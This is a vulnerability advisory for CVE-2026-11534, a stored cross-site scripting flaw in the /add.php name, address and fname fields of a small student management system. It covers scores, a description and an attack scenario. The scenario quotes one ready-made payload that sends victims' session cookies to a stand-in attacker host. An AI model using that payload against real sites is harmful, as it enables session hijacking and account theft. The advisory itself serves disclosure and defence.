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Student Management System CVE-2026-11534

| EUVD-2026-35132 LOW
Cross-site Scripting (XSS) (CWE-79)
2026-06-08 VulDB GHSA-qh77-x249-c5mf
2.0
CVSS 4.0 · NVD

Severity by source

NVD PRIMARY
2.0 LOW
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Primary rating from NVD · only source for this CVE.

CVSS VectorNVD

CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
P
Scope
X

Lifecycle Timeline

2
Analysis Generated
Jun 08, 2026 - 17:27 vuln.today
CVSS changed
Jun 08, 2026 - 17:22 NVD
3.5 (LOW) 2.0 (LOW)

DescriptionCVE.org

A vulnerability was detected in imvks786 student_management_system up to 9599b560ad3c3b83e75d328b76bedcd489ef1f46. Affected by this issue is some unknown functionality of the file /add.php. The manipulation of the argument name/address/fname results in cross site scripting. It is possible to launch the attack remotely. The exploit is now public and may be used. This product takes the approach of rolling releases to provide continious delivery. Therefore, version details for affected and updated releases are not available. The project was informed of the problem early through an issue report but has not responded yet.

AnalysisAI

Cross-site scripting in imvks786/student_management_system allows a low-privileged remote attacker to inject malicious scripts via the name, address, or fname parameters in /add.php. The payload executes in a victim's browser when the affected page is viewed, enabling session hijacking, credential theft, or UI redress attacks against other users of the application. …

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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata

Access
Authenticate with low-privilege account
Delivery
Submit XSS payload in name/address/fname via /add.php
Exploit
Payload stored in application database
Execution
Victim user loads affected page
Persist
Malicious script executes in victim's browser
Impact
Session token or credentials exfiltrated

Vulnerability AssessmentAI

Exploitation The attacker must possess a low-privilege account on the student management system (CVSS PR:L) - unauthenticated exploitation is not supported by the available vector data. … Additional conditions and limiting factors are described in the full assessment.
Risk Assessment The CVSS 4.0 base score of 2.0 accurately reflects constrained real-world impact: PR:L confirms a low-privilege authenticated account is required, and UI:P means a secondary victim must passively load the injected content - classic stored XSS preconditions. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in.
Exploit Scenario An attacker with a low-privilege account (e.g., a student or staff member with basic system access) submits a crafted XSS payload such as <script>document.location='https://attacker.tld/steal?c='+document.cookie</script> into the name, address, or fname field via /add.php. When an administrator or another user views the page containing the stored entry, the script executes in their browser, exfiltrating session cookies to the attacker. …
Remediation No vendor-released patch has been identified at time of analysis - the maintainer has not responded to the disclosure. … Detailed patch versions, workarounds, and compensating controls in full report.

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CVE-2026-11534 vulnerability details – vuln.today

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